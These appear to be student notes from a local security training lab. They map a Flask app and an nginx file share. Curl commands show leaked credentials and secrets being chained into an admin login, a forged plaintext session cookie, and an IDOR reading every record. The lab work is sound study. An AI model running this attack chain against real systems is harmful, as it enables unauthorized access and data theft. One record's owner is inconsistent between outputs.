

PrepLab — Session 1 Notes

Data & Applications Security — Attack Surface Mapping

Environment

Service	URL	Notes
preplab-web	localhost:8080	Flask app tier
preplab-files	localhost:8081	nginx static file share
preplab-db	localhost:5432	PostgreSQL

Homepage (http://localhost:8080)

Blank page listing available routes:

```
POST /login (username, password)
GET /record/<id>
GET /health
GET /debug
```

Findings

Headers

```
$ curl -I http://localhost:8080
Server: Werkzeug/3.1.8 Python/3.12.14
```

→ Framework/version disclosed in headers (info leakage, low severity alone but useful to an attacker).

/record/<id>

```
$ curl http://localhost:8080/record/1..4
```

All returned: {"error": "not found"} — no valid records found with IDs 1–4, no auth required to try.

To revisit: check behaviour once logged in, and whether "not found" vs "unauthorized" differs (info leak potential).

/debug — KEY FINDING

KEY FINDING

```
$ curl http://localhost:8080/debug
```

Returned, with NO authentication required:

```
{
  "db_password": "preplab",
  "secret": "dev-secret-change-me",
  "users": ["alice", "bob", "admin", "svc-rep"]
}
```

Unauthenticated endpoint leaking DB password, app secret key, and valid usernames. Serious real-world vulnerability class: exposed debug/diagnostic endpoint.

/login

```
$ curl -X POST http://localhost:8080/login -d "username=X&password=Y"
```

Username	Password	Result
admin	test	{"ok": false}
admin	preplab	{"ok": false}
alice	preplab	{"ok": false}
bob	preplab	{"ok": false}
svc-rep	preplab	{"ok": false}

File share (http://localhost:8081) — served by nginx

Homepage

```
$ curl http://localhost:8081/
```

Returns an index page that literally states: "Static files served with no authentication whatsoever." Links directly to: backup-notes.txt, staff-list.csv

backup-notes.txt — KEY FINDING

KEY FINDING

```
$ curl http://localhost:8081/backup-notes.txt
```

Returned, with NO authentication required:

```
Nightly backup notes (synthetic)
- Target: s3://preplab-backups (default encryption: DISABLED)
- Database dump includes full customer table
- Restore tested: never
- Backup service account: svc-rep / trustno1
```

Leaks: S3 bucket name, confirms backups unencrypted, confirms backups contain full customer data, confirms restores untested, AND leaks a username/password pair for a service account.

Headers

```
$ curl -I http://localhost:8081
Server: nginx/1.31.4
```

(separate container/service from the Flask app on 8080)

Attack Chain — Unauthenticated Leaks → Admin Login

CRITICAL FINDING

- /debug (port 8080, unauthenticated) leaked username **svc-rep**
- backup-notes.txt (port 8081, unauthenticated) leaked password **trustno1** for that same account
- Combined credentials used to log in

```
$ curl -X POST http://localhost:8080/login -d "username=svc-rep&password=trustno1"
```

Result:

```
{
  "ok": true,
  "role": "admin",
  "user": "svc-rep"
}
```

→ A service/reporting-sounding account (svc-rep) actually has ADMIN privileges — privilege escalation via an over-provisioned service account, reached via two separate low-effort unauthenticated information leaks. No password cracking or exploit code needed — just connecting exposed pieces.

Session Cookie Analysis

CRITICAL FINDING

Logged in and inspected the Set-Cookie header:

```
$ curl -X POST http://localhost:8080/login -d "username=svc-rep&password=trustno1" -c cookies.txt -v
...
Set-Cookie: session=svc-rep:dev-secret-change-me; Path=/
```

The session cookie is literally username:secret in PLAIN TEXT — no encryption, no signing, no randomness. The "secret" (dev-secret-change-me) is the exact same value leaked earlier by /debug. This means:

- Session cookies are forgeable by anyone who has the leaked secret (which is public via /debug)
- No HttpOnly / Secure / SameSite flags set either — cookie readable by JS, sent over plain HTTP

Tested forging a cookie for "admin" with no password at all:

```
$ curl http://localhost:8080/record/1 -H "Cookie: session=admin:dev-secret-change-me"
```

Result inconclusive at first (record 1 doesn't exist) — see IDOR section below for why this almost doesn't even matter: auth isn't checked at all on /record.

Tested cookie against /login itself:

```
$ curl -X POST http://localhost:8080/login -H "Cookie: session=admin:dev-secret-change-me"
&rr; {"ok": false}
```

Confirms /login ignores existing cookies entirely — it only checks explicit username/password. Cookie forgery would need to be tested against routes that CHECK an existing session, not the login route itself.

Real Record IDs (from source, web/app.py)

```
RECORDS = {
  "1001": {"owner": "alice", "note": "Payroll summary Q3"},
  "1002": {"owner": "bob", "note": "Supplier contract - Northwood"},
  "1003": {"owner": "admin", "note": "Board pack draft"},
}
```

/record/<id> — IDOR CONFIRMED

CRITICAL FINDING

Tested all three real IDs with NO session at all, and again with svc-rep (admin) cookie attached:

```

$ curl http://localhost:8080/record/1001 -> {"note": "Payroll summary Q3", "owner": "alice"}
$ curl http://localhost:8080/record/1001 -b cookies.txt -> same result, identical
$ curl http://localhost:8080/record/1002 -> {"note": "Supplier contract - Northwood", "owner": "alice"}
$ curl http://localhost:8080/record/1003 -> {"note": "Board pack draft", "owner": "admin"}

```

Result: IDENTICAL response with and without authentication. Confirms:

- /record/<id> performs NO authentication check whatsoever
- NO ownership check either — any session (or none) can read ANY record regardless of owner
- Classic Insecure Direct Object Reference (IDOR): the app trusts the ID in the URL completely
- Every record in the system (including admin's board pack) is exposed to anyone who can guess/enumerate sequential IDs — no login, no exploit, no cracking required

Full Attack Surface Summary — Session 1

Finding	Severity	How found
Framework/version disclosed in headers	Low	curl -I
/debug leaks db password, app secret, usernames — no auth	Critical	curl /debug
File share (8081) — no auth, publicly lists files	High	browser + curl
backup-notes.txt leaks unencrypted backup info + svc-rep credentials	Critical	curl /backup-notes.txt
svc-rep account has ADMIN role (over-privileged service account)	Critical	login with leaked creds
Session cookie = plaintext "username:secret", forgeable	Critical	-v on login, compare to /debug leak
Cookie missing HttpOnly/Secure/SameSite flags	Medium	curl -I / -v
/record/<id> has NO auth or ownership check (IDOR)	Critical	compare authenticated vs unauthenticated requests